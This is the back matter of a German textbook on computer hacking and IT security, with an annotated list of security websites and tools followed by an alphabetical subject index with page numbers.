Schnappschüsse von Internetseiten zu verschiedenen Zeitpunkten in der Vergangenheit Zusammenstellung von Angriffsmöglichkeiten in verschiedenen Phasen eines Angriffs Alles zum Thema IT-Sicherheit vom Bundesamt für Sicherheit in der Informationstechnik Common Vulnerabilities and Exposures (CVE), Referenzsystem für Sicherheitslücken und Schwachstellen Suche nach Details über Schwachstellen und CVSS Sandbox zur Untersuchung von Malware Spielwiese für Pentester Passwort-Checker von Troy Hunt Prüfseite für eigene Passwörter Webseite des Heise-Verlags mit nützlichen Werkzeugen rund um das Internet Sandbox zur Malware-Analyse Linux-Distribution für Pentests Eine Linksammlung mit zahlreichen nützlichen Links rund um das Thema IT-Sicherheit Hilfestellung zur Abwehr von Ransomwareangriffen Sammlung nützlicher OSINT-Werkzeuge oder Ressourcen OWASP-Liste für Scanning-Werkzeuge Identity-Leak Checker des Hasso-Plattner-Instituts Suchmaschine für Geräte und Dienste im Internet Weltkarte mit Echtzeit-Angriffen auf die HoneypotInfrastruktur der Deutschen Telekom und ihrer Partner Sicherheitstest der Serverkonfiguration Website-Scanner für verdächtige oder bösartige URLs Kostenloser Dienst zur Analyse verdächtiger Dateien oder URLs
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9
283
C
Stichwortverzeichnis
A Ablauf eines Angriffs, 49 Adware, 39 Aircrack, 110 Airsnort, 110 Alexa vs. Alexa, 256 Allgemeine Maßnahmen, 137 Analysephase, 241 Android, 121 Angriffe auf Mobilfunknetze, 252 Angriffe auf Webserver, 68 Angriffsmechanismen, 47 Angriffsteam, 48 Arten von Hackern, 3 Auftragsklärung, 184 Awareness, 141, 142, 172 B Backdoor, 36 Baiting, 54 Betriebssysteme, 17 Black-Box-Test, 185 Blue Team, 5 Botnet, 39 Brute-Force-Angriff, 79 C CEO-Fraud, 55 CERT-Taxonomie, 238 CIDR-Notation, 23 CISIS12, 178
Client to Authenticator Protocol, 145 Cobalt Strike, 81 Common Vulnerabilities and Exposures (CVE), 174 Common Vulnerability Scoring System (CVSS), 174 Computerwurm, 37 Containment, 233 Cross-Site-Scripting, 73 Cyber Kill Chain, 50 Cyberangriff, 6 Cybercrime as a Service (CaaS), 49 D DarkSide, 259 Dateien verstecken, 87 DDoS as a Service (DDoSaaS), 49 DDoS-Angriff, 262 DDoS-Schutzgelderpressung, 264 Demilitarisierte Zone, 69 Denial of Service (DoS), 90 Dictionary-Angriffe, 79 Dienstliches WLAN, 106 Distributed Denial of Service (DDoS), 91 DoD-Schichtenmodell, 19 Double-Extortion, 86 Durchführung von Pentests, 197 E Erkennen von Angriffen, 209 Ethical Hacking, 183
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9
285
286 F Fast Identity Online, 147 FIDO-2, 147 Fingerprinting, 53 Firewalls, 63 Footprinting, 51
G Greenbone Vulnerability Management (GVM), 195, 271 Grey-Box-Test, 185 Grundschutz, 177 Guestmount, 279
H Hackerethik, 3 Hackerparagraf, 3 Hacking as a Service (HaaS), 49 Hashcat, 79 Honeypots, 219 Host-IDS (HIDS), 213 hping3, 62 https://haveibeenpwned.com/, 140
I Identification, 232 IIoT, 130 Incident Response Playbook, 234 Incident-Response-Prozess, 231 Incident-Response-Zyklus, 227 Indicators of Attack (IoA), 212 Indicators of Compromise (IoC), 211 Industrial Control Systems (ICS), 130 Information Security Management System (ISMS), 178 Internet Control Message Protocol (ICMP), 24 Internet Protocol (IP), 21 Intrusion Detection, 209 Intrusion Detection System (IDS), 213 Intrusion Prevention System (IPS), 215 iOS, 122 IoT-Gefahren, 125 IoT-Großgeräte, 129 IoT-Kleingeräte, 128 IP-Adressen, 21 IP-Ports, 24
Stichwortverzeichnis IP-Scanning, 56 iPadOS, 122 IPv4, 22 IPv6, 23 IT-Forensik, 237 IT-Security-Incidents, 227 IT-Sicherheitsübungen, 179 IT-Sicherheitsaudits, 199
J JeepHack, 255 John the Ripper, 79
K Keylogger, 38 Kriminalistische Forensik, 237
L Lateral Movement, 82 Lessons Learned, 234 Local Administrator Password Solution (LAPS), 189 Log4J, 262 Logical Volume Manager (LVM), 279, 280
M MAC-Adressen, 21 Malware, 33 Malware-Entwickler, 48 Malware-Packer, 48 Malware-Team, 48 Man-in-the-Middle-Angriffe (MITM), 75 Mehrfaktorauthentisierung (MFA), 144 Memcached-Amplification-DDoS, 91 Metasploit, 81 Metasploitable, 270 MFA-Fatigue-Angriffe, 77 Mimikatz, 83 Mirai Botnet, 253 MITRE ATT&CK, 174, 176 Mobile Endgeräte, 117 multiping, 62
N nessus, 62
Stichwortverzeichnis Network-Address-Translation (NAT), 26 Netzwerk-IDS (NIDS), 213 nmap, 62, 190 Norm ISO 27001, 199 Notfallübungen, 179 O Öffentliches WLAN, 106, 109 OpenVAS, 62, 195, 271 Operational Technology (OT), 130 OSI-Schichtenmodell, 19 OSINT, 51 P Passwörter, 77 pathping, 61 Pegasus Spyware, 252 Pentest, 183 Pentest-Arten, 184 Pentester, 183 Perimeter, 63 Perimeterschutzkonzept, 157 Persistente Daten, 239 Pharming, 55 Phishing, 54 Phishing-Awareness-Kampagnen, 142 ping, 61 pingplotter, 62 Präsentationsphase, 244 Preparation, 232 Privates WLAN, 106 Privilege Escalation, 84 R Rainbow Tables, 80 Ransomware, 39, 86 Ransomware as a Service (RaaS), 49 Ransomwareangriff, 93 Red Team, 5, 48 Remedation, 233 Reverse TCP, 65 Rootkit, 37 S Salts, 79 Scanning-Techniken, 56
287 Scanning-Werkzeuge, 61 Schadfunktion, 85 Schadsoftware, 33 Schwachstellenscans, 184 Schwachstellensuche in Netzwerken, 189 Secure Access Service Edge (SASE), 163 Security Information and Event Management, 218 Sensibilisierung, 142 SEO-Poisoning, 56 Sicherheitslücken, 200 Sicherungsphase, 238 Smishing, 55 Snort , 216 Social Engineering, 186 Sofortmaßnahmen im Falle eines Angriffs, 229 Software-defined Perimeter, 162 SolarWinds, 260 Spear Phishing, 54 Spizie, 119 Spreadsheet of Doom, 245 Spuren verwischen, 88 Spyera, 119 Spyware, 38, 119 SQL-Injection (SQLi), 69 SSID, 107 SSL-Labs, 62 Steganografie, 88 Suricata, 217, 273 SYN-ACK-Scan, 59
T Tech-Support-Angriffe, 56 Technische Forensik, 237 Tiple-Extortion, 86 Tor, 27 traceroute, 61 Transmission Control Protocol (TCP), 24 Transport Layer Security (TLS), 152 TRENDnet, 255 Trojaner, 34
U UDP-Scan, 60 Umgang mit Passworten, 139 Uncomplicated Firewall (UFW), 64 Uni Maastricht, 257
288 USB-Token, 145 User Datagram Protocol (UDP), 24 V Verkada, 255 Viren, 36 Virenscanner, 40 Virtual Private Network, 155 Vishing, 56 Volatile Daten, 241 Vulnerability-Scans, 184 W WannaCry, 256 WebAuthn, 150 WEP, 110
Stichwortverzeichnis Whaling, 55 White-Box-Test, 185 Wiederherstellung/Recovery, 234 Wireshark, 79 WLAN, 106 WPA, 111 WPA2, 112 WPA3, 113 WPS, 111
Z Zeek, 217, 276 zenmap, 62 Zero Trust Network Access, 161 Zero-Trust-Netzwerkmodell, 156 Zweifaktorauthentisierung (2FA), 144